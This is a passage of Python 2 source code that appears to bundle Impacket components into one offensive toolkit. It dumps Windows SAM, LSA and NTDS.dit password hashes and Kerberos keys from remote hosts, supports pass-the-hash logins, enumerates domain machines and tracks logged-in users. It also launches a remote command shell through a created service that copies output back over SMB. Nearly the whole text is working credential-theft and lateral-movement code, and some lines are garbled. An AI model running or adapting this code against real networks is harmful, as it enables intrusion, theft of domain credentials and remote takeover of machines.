hashlib.new('md5') md5.update(self.__bootKey) for i in range(1000): md5.update(encryptedPek['KeyMaterial']) tmpKey = md5.digest() rc4 = ARC4.new(tmpKey) plainText = rc4.encrypt(encryptedPek['EncryptedPek']) self.__PEK = plainText[36:] def __removeRC4Layer(self, cryptedHash): md5 = hashlib.new('md5') md5.update(self.__PEK) md5.update(cryptedHash['KeyMaterial']) tmpKey = md5.digest() rc4 = ARC4.new(tmpKey) plainText = rc4.encrypt(cryptedHash['EncryptedHash']) return plainText def __removeDESLayer(self, cryptedHash, rid): Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid)) Crypt1 = DES.new(Key1, DES.MODE_ECB) Crypt2 = DES.new(Key2, DES.MODE_ECB) decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:]) return decryptedHash def __decryptSupplementalInfo(self, record): # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None: if len(record[self.NAME_TO_INTERNAL['supplementalCredentials']].decode('hex')) > 24: if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) else: userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] cipherText = self.CRYPTED_BLOB(record[self.NAME_TO_INTERNAL['supplementalCredentials']].decode('hex')) plainText = self.__removeRC4Layer(cipherText) try: userProperties = samr.USER_PROPERTIES(plainText) except: # On some old w2k3 there might be user properties that don't # match [MS-SAMR] structure, discarding them return propertiesData = userProperties['UserProperties'] for propertyCount in range(userProperties['PropertyCount']): userProperty = samr.USER_PROPERTY(propertiesData) propertiesData = propertiesData[len(userProperty):] # For now, we will only process Newer Kerberos Keys. if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': propertyValueBuffer = userProperty['PropertyValue'].decode('hex') kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) data = kerbStoredCredentialNew['Buffer'] for credential in range(kerbStoredCredentialNew['CredentialCount']): keyDataNew = samr.KERB_KEY_DATA_NEW(data) data = data[len(keyDataNew):] keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']): answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],keyValue.encode('hex')) try: self.output_hashes.append(answer) except Exception as e: print("[!] There was an error: %s") % (e) else: answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),keyValue.encode('hex')) try: self.output_hashes.append(answer) except Exception as e: print("[!] There was an error: %s") % (e) # We're just storing the keys, not printing them, to make the output more readable # This is kind of ugly... but it's what I came up with tonight to get an ordered # set :P. Better ideas welcomed ;) self.__kerberosKeys[answer] = None def __decryptHash(self, record): #DEBUG logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) sid = SAMR_RPC_SID(record[self.NAME_TO_INTERNAL['objectSid']].decode('hex')) rid = sid.formatCanonical().split('-')[-1] if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: encryptedLMHash = self.CRYPTED_HASH(record[self.NAME_TO_INTERNAL['dBCSPwd']].decode('hex')) tmpLMHash = self.__removeRC4Layer(encryptedLMHash) LMHash = self.__removeDESLayer(tmpLMHash, rid) else: LMHash = ntlm.LMOWFv1('','') encryptedLMHash = None if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: encryptedNTHash = self.CRYPTED_HASH(record[self.NAME_TO_INTERNAL['unicodePwd']].decode('hex')) tmpNTHash = self.__removeRC4Layer(encryptedNTHash) NTHash = self.__removeDESLayer(tmpNTHash, rid) else: NTHash = ntlm.NTOWFv1('','') encryptedNTHash = None if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) else: userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] answer = "%s:%s:%s:%s:::" % (userName, rid, LMHash.encode('hex'), NTHash.encode('hex')) self.__hashesFound[record[self.NAME_TO_INTERNAL['objectSid']].decode('hex')] = answer try: self.output_hashes.append(answer) except Exception as e: print("[!] There was an error: %s") % (e) #DEBUG print answer if self.__history: LMHistory = [] NTHistory = [] if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: lmPwdHistory = record[self.NAME_TO_INTERNAL['lmPwdHistory']] encryptedLMHistory = self.CRYPTED_HISTORY(record[self.NAME_TO_INTERNAL['lmPwdHistory']].decode('hex')) tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) for i in range(0, len(tmpLMHistory)/16): LMHash = self.__removeDESLayer(tmpLMHistory[i*16:(i+1)*16], rid) LMHistory.append(LMHash) if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: ntPwdHistory = record[self.NAME_TO_INTERNAL['ntPwdHistory']] encryptedNTHistory = self.CRYPTED_HISTORY(record[self.NAME_TO_INTERNAL['ntPwdHistory']].decode('hex')) tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) for i in range(0, len(tmpNTHistory)/16): NTHash = self.__removeDESLayer(tmpNTHistory[i*16:(i+1)*16], rid) NTHistory.append(NTHash) for i, (LMHash, NTHash) in enumerate(map(lambda l,n: (l,n) if l else ('',n), LMHistory[1:], NTHistory[1:])): if self.__noLMHash: lmhash = ntlm.LMOWFv1('','').encode('hex') else: lmhash = LMHash.encode('hex') answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, NTHash.encode('hex')) self.__hashesFound[record[self.NAME_TO_INTERNAL['objectSid']].decode('hex')+str(i)] = answer try: self.output_hashes.append(answer) except Exception as e: print("[!] There was an error: %s") % (e) #DEBUG print answer def dump(self): if self.__NTDS is None: # No NTDS.dit file provided return #DEBUG logging.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') # We start getting rows from the table aiming at reaching # the pekList. If we find users records we stored them # in a temp list for later process. self.__getPek() if self.__PEK is not None: #DEBUG logging.info('Pek found and decrypted: 0x%s' % self.__PEK.encode('hex')) #DEBUG logging.info('Reading and decrypting hashes from %s ' % self.__NTDS) print("0x%s") % self.__PEK.encode('hex') print(self.NTDS) # First of all, if we have users already cached, let's decrypt their hashes for record in self.__tmpUsers: try: self.__decryptHash(record) self.__decryptSupplementalInfo(record) except Exception, e: #import traceback #print traceback.print_exc() #DEBUG3 try: #DEBUG logging.error("Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) #DEBUG logging.error(str(e)) pass except: #DEBUG logging.error("Error while processing row!") #DEBUG logging.error(str(e)) pass # Now let's keep moving through the NTDS file and decrypting what we find while True: try: record = self.__ESEDB.getNextRow(self.__cursor) except: #DEBUG logging.error('Error while calling getNextRow(), trying the next one') continue if record is None: break try: if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: self.__decryptHash(record) self.__decryptSupplementalInfo(record) except Exception, e: #import traceback #print traceback.print_exc() try: #DEBUG logging.error("Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) #DEBUG logging.error(str(e)) pass except: #DEBUG logging.error("Error while processing row!") #DEBUG logging.error(str(e)) pass # Now we'll print the Kerberos keys. So we don't mix things up in the output. if len(self.__kerberosKeys) > 0: #DEBUG logging.info('Kerberos keys from %s ' % self.__NTDS) self.output_hashes.append(self.__NTDS) #DEBUG for itemKey in self.__kerberosKeys.keys(): #DEBUG print itemKey try: self.output_hashes.append(itemKey) #KERBEROS KEYS except Exception as e: print("[!] An error occurred: %s") % (e) #DEBUG def export(self, fileName): if len(self.__hashesFound) > 0: items = sorted(self.__hashesFound) fd = open(fileName+'.ntds','w+') for item in items: try: fd.write(self.__hashesFound[item]+'\n') except Exception, e: '''DEBUG try: logging.error("Error writing entry %d, skipping" % item) except: logging.error("Error writing entry, skipping") ''' pass fd.close() if len(self.__kerberosKeys) > 0: fd = open(fileName+'.ntds.kerberos','w+') for itemKey in self.__kerberosKeys.keys(): fd.write(itemKey+'\n') fd.close() def finish(self): if self.__NTDS is not None: self.__ESEDB.close() def return_output_hashes(self): return(self.output_hashes) class DumpSecrets: def __init__(self, address, username = '', password = '', domain='', hashes = None, aesKey=None, doKerberos=False, system=False, security=False, sam=False, ntds=False, outputFileName = None, history=False): self.__remoteAddr = address self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__smbConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None self.__LSASecrets = None self.__systemHive = system self.__securityHive = security self.__samHive = sam self.__ntdsFile = ntds self.__history = history self.__noLMHash = True self.__isRemote = True self.__outputFileName = outputFileName self.__doKerberos = doKerberos self.output_hashes = [] if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def connect(self): self.__smbConnection = SMBConnection(self.__remoteAddr, self.__remoteAddr) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def getBootKey(self): # Local Version whenever we are given the files directly bootKey = '' tmpKey = '' winreg = winregistry.Registry(self.__systemHive, self.__isRemote) # We gotta find out the Current Control Set currentControlSet = winreg.getValue('\\Select\\Current')[1] currentControlSet = "ControlSet%03d" % currentControlSet for key in ['JD','Skew1','GBG','Data']: #DEBUG logging.debug('Retrieving class info for %s'% key) ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key)) digit = ans[:16].decode('utf-16le') tmpKey = tmpKey + digit transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] tmpKey = tmpKey.decode('hex') for i in xrange(len(tmpKey)): bootKey += tmpKey[transforms[i]] #DEBUG logging.info('Target system bootKey: 0x%s' % bootKey.encode('hex')) try: bootkeyinfo = "" bootkeyinfo = "bootkey 0x" + bootKey.encode('hex') self.output_hashes.append(bootkeyinfo) #DEBUG except Exception as e: print("[!] There was an error: %s") % (e) return bootKey def checkNoLMHashPolicy(self): #DEBUG logging.debug('Checking NoLMHash Policy') winreg = winregistry.Registry(self.__systemHive, self.__isRemote) # We gotta find out the Current Control Set currentControlSet = winreg.getValue('\\Select\\Current')[1] currentControlSet = "ControlSet%03d" % currentControlSet #noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) if noLmHash is not None: noLmHash = noLmHash[1] else: noLmHash = 0 if noLmHash != 1: #DEBUG logging.debug('LMHashes are being stored') return False #DEBUG logging.debug('LMHashes are NOT being stored') return True def dump(self): try: if self.__remoteAddr.upper() == 'LOCAL' and self.__username == '': self.__isRemote = False bootKey = self.getBootKey() if self.__ntdsFile is not None: # Let's grab target's configuration about LM Hashes storage self.__noLMHash = self.checkNoLMHashPolicy() else: self.__isRemote = True self.connect() self.__remoteOps = RemoteOperations(self.__smbConnection) self.__remoteOps.enableRegistry() bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() if self.__isRemote == True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive try: self.__SAMHashes = SAMHashes(SAMFileName, bootKey, self.output_hashes, isRemote = self.__isRemote) self.__SAMHashes.dump() self.output_hashes.extend(self.__SAMHashes.return_output_hashes()) except Exception as e: print("[!] An error has occurred: %s") % (e) if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) if self.__isRemote == True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive try: self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.output_hashes, self.__remoteOps, isRemote = self.__isRemote) self.__LSASecrets.dumpCachedHashes() self.output_hashes.extend(self.__LSASecrets.return_output_hashes()) except Exception as e: print("[!] There was an error: %s") % (e) if self.__outputFileName is not None: self.__LSASecrets.exportCached(self.__outputFileName) self.__LSASecrets.dumpSecrets() self.output_hashes.extend(self.__SAMHashes.return_output_hashes) if self.__outputFileName is not None: self.__LSASecrets.exportSecrets(self.__outputFileName) if self.__isRemote == True: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = self.__ntdsFile try: self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, self.output_hashes, isRemote = self.__isRemote, history = self.__history, noLMHash = self.__noLMHash) self.__NTDSHashes.dump() self.output_hashes.extend(self.__NTDSHashes.return_output_hashes()) except Exception as e: print("[!] There was an error: %s") % (e) if self.__outputFileName is not None: self.__NTDSHashes.export(self.__outputFileName) self.cleanup() except (Exception, KeyboardInterrupt), e: #import traceback #print traceback.print_exc() #DEBUG logging.error(e) try: self.cleanup() except: pass def return_output_hashes(self): set = sets.Set(self.output_hashes) output_hashes = list(set) return(output_hashes) def cleanup(self): logging.info('Cleaning up... ') if self.__remoteOps: self.__remoteOps.finish() if self.__SAMHashes: self.__SAMHashes.finish() if self.__LSASecrets: self.__LSASecrets.finish() if self.__NTDSHashes: self.__NTDSHashes.finish() if self.__isRemote == True: self.__smbConnection.logoff() ''' IMPACKET NETVIEW ''' machinesAliveQueue = Queue() machinesDownQueue = Queue() myIP = None def checkMachines(machines, stopEvent, singlePass=False): origLen = len(machines) deadMachines = machines done = False while not done: if stopEvent.is_set(): done = True break for machine in deadMachines: s = socket.socket() try: s = socket.create_connection((machine, 445), 2) global myIP myIP = s.getsockname()[0] s.close() machinesAliveQueue.put(machine) except Exception, e: # DEBUG logging.debug('%s: not alive (%s)' % (machine, e)) pass else: # DEBUG logging.debug('%s: alive!' % machine) deadMachines.remove(machine) if stopEvent.is_set(): done = True break # DEBUG logging.debug('up: %d, down: %d, total: %d' % (origLen-len(deadMachines), len(deadMachines), origLen)) if singlePass is True: done = True if not done: time.sleep(10) # Do we have some new deadMachines to add? while machinesDownQueue.empty() is False: deadMachines.append(machinesDownQueue.get()) class USERENUM: def __init__(self, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos=False, options=None): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__options = options self.__machinesList = list() self.__targets = dict() self.__filterUsers = None self.__targetsThreadEvent = None self.__maxConnections = int(options.max_connections) self.output = "" if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def getDomainMachines(self): if self.__options.domainController is not None: domainController = self.__options.domainController elif self.__domain is not '': domainController = self.__domain else: raise Exception('A domain is needed!') # DEBUG logging.info('Getting machine\'s list from %s' % domainController) rpctransport = transport.SMBTransport(domainController, 445, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) try: resp = samr.hSamrConnect(dce) serverHandle = resp['ServerHandle'] resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) domains = resp['Buffer']['Buffer'] # DEBUG logging.info("Looking up users in domain %s" % domains[0]['Name']) resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) domainHandle = resp['DomainHandle'] status = STATUS_MORE_ENTRIES enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, samr.USER_WORKSTATION_TRUST_ACCOUNT, enumerationContext = enumerationContext) except Exception, e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() for user in resp['Buffer']['Buffer']: self.__machinesList.append(user['Name'][:-1]) # DEBUG logging.debug('Machine name - rid: %s - %d'% (user['Name'], user['RelativeId'])) enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] except Exception, e: raise e dce.disconnect() def getTargets(self): # DEBUG logging.info('Importing targets') if self.__options.target is None and self.__options.targets is None: # We need to download the list of machines from the domain self.getDomainMachines() elif self.__options.targets is not None: for line in self.__options.targets.readlines(): self.__machinesList.append(line.strip(' \r\n')) else: # Just a single machine self.__machinesList.append(self.__options.target) # DEBUG logging.info("Got %d machines" % len(self.__machinesList)) def filterUsers(self): if self.__options.user is not None: self.__filterUsers = list() self.__filterUsers.append(self.__options.user) elif self.__options.users is not None: # Grab users list from a file self.__filterUsers = list() for line in self.__options.users.readlines(): self.__filterUsers.append(line.strip(' \r\n')) else: self.__filterUsers = None def run(self): self.getTargets() self.filterUsers() #self.filterGroups() # Up to here we should have figured out the scope of our work self.__targetsThreadEvent = Event() if self.__options.noloop is False: # Start a separate thread checking the targets that are up self.__targetsThread = Thread(target=checkMachines, args=(self.__machinesList,self.__targetsThreadEvent)) self.__targetsThread.start() else: # Since it's gonna be a one shoot test, we need to wait till it finishes checkMachines(self.__machinesList,self.__targetsThreadEvent, singlePass=True) while True: # Do we have more machines to add? while machinesAliveQueue.empty() is False: machine = machinesAliveQueue.get() # DEBUG logging.debug('Adding %s to the up list' % machine) self.__targets[machine] = {} self.__targets[machine]['SRVS'] = None self.__targets[machine]['WKST'] = None self.__targets[machine]['Admin'] = True self.__targets[machine]['Sessions'] = list() self.__targets[machine]['LoggedIn'] = set() for target in self.__targets.keys(): try: self.getSessions(target) self.getLoggedIn(target) except (SessionError, DCERPCException), e: # We will silently pass these ones, might be issues with Kerberos, or DCE if str(e).find('LOGON_FAILURE') >=0: # For some reason our credentials don't work there, # taking it out from the list. # DEBUG logging.error('STATUS_LOGON_FAILURE for %s, discarding' % target) del(self.__targets[target]) elif str(e).find('INVALID_PARAMETER') >=0: del(self.__targets[target]) elif str(e).find('access_denied') >=0: # Can't access the target RPC call, most probably a Unix host # taking it out from the list del(self.__targets[target]) else: print("") #DEBUG # DEBUG logging.info(str(e)) pass except KeyboardInterrupt: raise except Exception, e: #import traceback #print traceback.print_exc() if str(e).find('timed out') >=0: # Most probably this site went down. taking it out # ToDo: add it back to the list of machines to check in # the separate thread - DONE del(self.__targets[target]) machinesDownQueue.put(target) else: # These ones we will report print("") #DEBUG # DEBUG logging.error(e) pass if self.__options.noloop is True: break # DEBUG logging.debug('Sleeping for %s seconds' % self.__options.delay) # DEBUG logging.debug('Currently monitoring %d active targets' % len(self.__targets)) time.sleep(int(self.__options.delay)) def getSessions(self, target): if self.__targets[target]['SRVS'] is None: stringSrvsBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % target rpctransportSrvs = transport.DCERPCTransportFactory(stringSrvsBinding) if hasattr(rpctransportSrvs, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransportSrvs.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransportSrvs.set_kerberos(self.__doKerberos) dce = rpctransportSrvs.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) self.__maxConnections -= 1 else: dce = self.__targets[target]['SRVS'] try: resp = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10) except Exception, e: if str(e).find('Broken pipe') >= 0: # The connection timed-out. Let's try to bring it back next round self.__targets[target]['SRVS'] = None self.__maxConnections += 1 return else: raise if self.__maxConnections < 0: # Can't keep this connection open. Closing it dce.disconnect() self.__maxConnections = 0 else: self.__targets[target]['SRVS'] = dce # Let's see who createad a connection since last check tmpSession = list() printCRLF = False for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: userName = session['sesi10_username'][:-1] sourceIP = session['sesi10_cname'][:-1][2:] key = <KEY>' % (userName, sourceIP) myEntry = '%s\x01%s' % (self.__username, myIP) tmpSession.append(key) if not(key in self.__targets[target]['Sessions']): # Skipping myself if key != myEntry: self.__targets[target]['Sessions'].append(key) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: #print "%s: user %s logged from host %s - active: %d, idle: %d" % (target,userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']) #self.output += "\n %s: user %s logged from host %s - active: %d, idle: %d \n" % (target,userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']) printCRLF=True else: #print "%s: user %s logged from host %s - active: %d, idle: %d" % (target,userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']) #self.output += "\n %s: user %s logged from host %s - active: %d, idle: %d \n" % (target,userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']) printCRLF=True # Let's see who deleted a connection since last check for nItem, session in enumerate(self.__targets[target]['Sessions']): userName, sourceIP = session.split('\x01') if session not in tmpSession: del(self.__targets[target]['Sessions'][nItem]) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: #print "%s: user %s logged off from host %s" % (target, userName, sourceIP) self.output += "\n %s: user %s logged off from host %s \n" % (target, userName, sourceIP) printCRLF=True else: #print "%s: user %s logged off from host %s" % (target, userName, sourceIP) self.output += "\n %s: user %s logged off from host %s \n" % (target, userName, sourceIP) printCRLF=True if printCRLF is True: print "" def getLoggedIn(self, target): if self.__targets[target]['Admin'] is False: return if self.__targets[target]['WKST'] is None: stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding) if hasattr(rpctransportWkst, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransportWkst.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransportWkst.set_kerberos(self.__doKerberos) dce = rpctransportWkst.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) self.__maxConnections -= 1 else: dce = self.__targets[target]['WKST'] try: resp = wkst.hNetrWkstaUserEnum(dce,1) except Exception, e: if str(e).find('Broken pipe') >= 0: # The connection timed-out. Let's try to bring it back next round self.__targets[target]['WKST'] = None self.__maxConnections += 1 return elif str(e).upper().find('ACCESS_DENIED'): # We're not admin, bye dce.disconnect() self.__maxConnections += 1 self.__targets[target]['Admin'] = False return else: raise if self.__maxConnections < 0: # Can't keep this connection open. Closing it dce.disconnect() self.__maxConnections = 0 else: self.__targets[target]['WKST'] = dce # Let's see who looged in locally since last check tmpLoggedUsers = set() printCRLF = False for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']: userName = session['wkui1_username'][:-1] logonDomain = session['wkui1_logon_domain'][:-1] key = <KEY>' % (userName, logonDomain) tmpLoggedUsers.add(key) if not(key in self.__targets[target]['LoggedIn']): self.__targets[target]['LoggedIn'].add(key) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: #print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName) self.output += "%s: user %s\\%s logged in LOCALLY \n" % (target,logonDomain,userName) #printCRLF=True printCRLF=False else: #print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName) self.output += "%s: user %s\\%s logged in LOCALLY \n" % (target,logonDomain,userName) #printCRLF=True printCRLF=False # Let's see who logged out since last check for session in self.__targets[target]['LoggedIn'].copy(): userName, logonDomain = session.split('\x01') if session not in tmpLoggedUsers: self.__targets[target]['LoggedIn'].remove(session) # Are we filtering users? if self.__filterUsers is not None: if userName in self.__filterUsers: #print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName) self.output += "%s: user %s\\%s logged off LOCALLY\n" % (target,logonDomain,userName) #printCRLF=True printCRLF = False else: #print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName) self.output += "%s: user %s\\%s logged off LOCALLY\n" % (target,logonDomain,userName) #printCRLF=True printCRLF = False if printCRLF is True: print def stop(self): if self.__targetsThreadEvent is not None: self.__targetsThreadEvent.set() def return_data(self): return(self.output) ''' IMPACKET SMBEXEC ''' SMBEXEC_OUTPUT_FILENAME = '__output' SMBEXEC_BATCH_FILENAME = 'execute.bat' SMBEXEC_SMBSERVER_DIR = '__tmp' SMBEXEC_DUMMY_SHARE = 'TMP' class SMBServer(Thread): def __init__(self): Thread.__init__(self) def cleanup_server(self): logging.info('Cleaning up..') try: os.unlink(SMBEXEC_SMBSERVER_DIR + '/smb.log') except: pass os.rmdir(SMBEXEC_SMBSERVER_DIR) def run(self): # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global','log_file',SMBEXEC_SMBSERVER_DIR + '/smb.log') smbConfig.set('global','credentials_file','') # Let's add a dummy share smbConfig.add_section(SMBEXEC_DUMMY_SHARE) smbConfig.set(SMBEXEC_DUMMY_SHARE,'comment','') smbConfig.set(SMBEXEC_DUMMY_SHARE,'read only','no') smbConfig.set(SMBEXEC_DUMMY_SHARE,'share type','0') smbConfig.set(SMBEXEC_DUMMY_SHARE,'path',SMBEXEC_SMBSERVER_DIR) # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path') self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) logging.info('Creating tmp directory') try: os.mkdir(SMBEXEC_SMBSERVER_DIR) except Exception, e: logging.critical(str(e)) pass logging.info('Setting up SMB Server') self.smb.processConfigFile() logging.info('Ready to listen...') try: self.smb.serve_forever() except: pass def stop(self): self.cleanup_server() self.smb.socket.close() self.smb.server_close() self._Thread__stop() class CMDEXEC: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None): if not protocols: protocols = PSEXEC.KNOWN_PROTOCOLS.keys() self.__username = username self.__password = password self.__protocols = [protocols] self.__serviceName = 'BTOBTO' self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__share = share self.__mode = mode if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def run(self, addr): for protocol in self.__protocols: protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol] port = protodef[1] logging.info("Trying protocol %s..." % protocol) logging.info("Creating service %s..." % self.__serviceName) stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) if hasattr(rpctransport,'preferred_dialect'): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos) self.shell = None try: if self.__mode == 'SERVER': serverThread = SMBServer() serverThread.daemon = True serverThread.start() self.shell = SmbexecRemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName) self.shell.cmdloop() if self.__mode == 'SERVER': serverThread.stop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.critical(str(e)) if self.shell is not None: self.shell.finish() sys.stdout.flush() sys.exit(1) class SmbexecRemoteShell(cmd.Cmd): def __init__(self, share, rpc, mode, serviceName): cmd.Cmd.__init__(self) self.__share = share self.__mode = mode self.__output = '\\Windows\\Temp\\' + SMBEXEC_OUTPUT_FILENAME self.__batchFile = '%TEMP%\\' + SMBEXEC_BATCH_FILENAME self.__outputBuffer = '' self.__command = '' self.__shell = '%COMSPEC% /Q /c ' self.__serviceName = serviceName self.__rpc = rpc self.intro = '[!] Launching semi-interactive shell - Careful what you execute' self.__scmr = rpc.get_dce_rpc() try: self.__scmr.connect() except Exception, e: logging.critical(str(e)) sys.exit(1) s = rpc.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if mode == 'SERVER': myIPaddr = s.getSMBServer().get_socket().getsockname()[0] self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, SMBEXEC_DUMMY_SHARE) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] self.transferClient = rpc.get_smb_connection() self.do_cd('') def finish(self): # Just in case the service is still created try: self.__scmr = self.__rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(svcctl.MSRPC_UUID_SVCCTL) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) except Exception, e: pass def do_shell(self, s): os.system(s) def do_exit(self, s): return True def emptyline(self): return False def do_cd(self, s): # We just can't CD or mantain track of the target dir. if len(s) > 0: logging.error("You can't CD under SMBEXEC. Use full paths.") self.execute_remote('cd ' ) if len(self.__outputBuffer) > 0: # Stripping CR/LF self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>' self.__outputBuffer = '' def do_CD(self, s): return self.do_cd(s) def default(self, line): if line != '': self.send_data(line) def get_output(self): def output_callback(data): self.__outputBuffer += data if self.__mode == 'SHARE': self.transferClient.getFile(self.__share, self.__output, output_callback) self.transferClient.deleteFile(self.__share, self.__output) else: fd = open(SMBEXEC_SMBSERVER_DIR + '/' + SMBEXEC_OUTPUT_FILENAME,'r') output_callback(fd.read()) fd.close() 